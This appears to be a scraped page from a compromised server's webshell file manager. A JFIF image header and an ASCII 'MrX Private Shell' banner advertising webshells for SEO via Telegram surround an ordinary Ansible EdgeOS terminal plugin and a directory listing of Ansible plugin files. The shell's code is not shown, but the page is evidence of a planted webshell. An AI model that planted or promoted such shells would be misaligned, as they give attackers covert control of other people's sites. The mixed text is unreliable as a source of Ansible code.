����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright: (c) 2018, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
import re
from ansible.plugins.terminal import TerminalBase
from ansible.errors import AnsibleConnectionFailure
class TerminalModule(TerminalBase):
terminal_stdout_re = [
re.compile(br"[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:>|#) ?$"),
re.compile(br"\@[\w\-\.]+:\S+?[>#\$] ?$")
]
terminal_stderr_re = [
re.compile(br"\n\s*command not found"),
re.compile(br"\nInvalid command"),
re.compile(br"\nCommit failed"),
re.compile(br"\n\s*Set failed"),
]
terminal_length = os.getenv('ANSIBLE_EDGEOS_TERMINAL_LENGTH', 10000)
def on_open_shell(self):
try:
self._exec_cli_command('export VYATTA_PAGER=cat')
self._exec_cli_command('stty rows %s' % self.terminal_length)
except AnsibleConnectionFailure:
raise AnsibleConnectionFailure('unable to set terminal parameters')
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| aireos.py | File | 2.08 KB | 0644 |
|
| apconos.py | File | 946 B | 0644 |
|
| aruba.py | File | 2.28 KB | 0644 |
|
| ce.py | File | 2.11 KB | 0644 |
|
| cnos.py | File | 2.81 KB | 0644 |
|
| edgeos.py | File | 1.1 KB | 0644 |
|
| edgeswitch.py | File | 3.12 KB | 0644 |
|
| enos.py | File | 2.76 KB | 0644 |
|
| eric_eccli.py | File | 1.94 KB | 0644 |
|
| exos.py | File | 2.17 KB | 0644 |
|
| icx.py | File | 2.96 KB | 0644 |
|
| ironware.py | File | 2.64 KB | 0644 |
|
| netvisor.py | File | 1.15 KB | 0644 |
|
| nos.py | File | 1.92 KB | 0644 |
|
| slxos.py | File | 1.92 KB | 0644 |
|
| sros.py | File | 1.36 KB | 0644 |
|
| voss.py | File | 3.37 KB | 0644 |
|
| weos4.py | File | 1.14 KB | 0644 |
|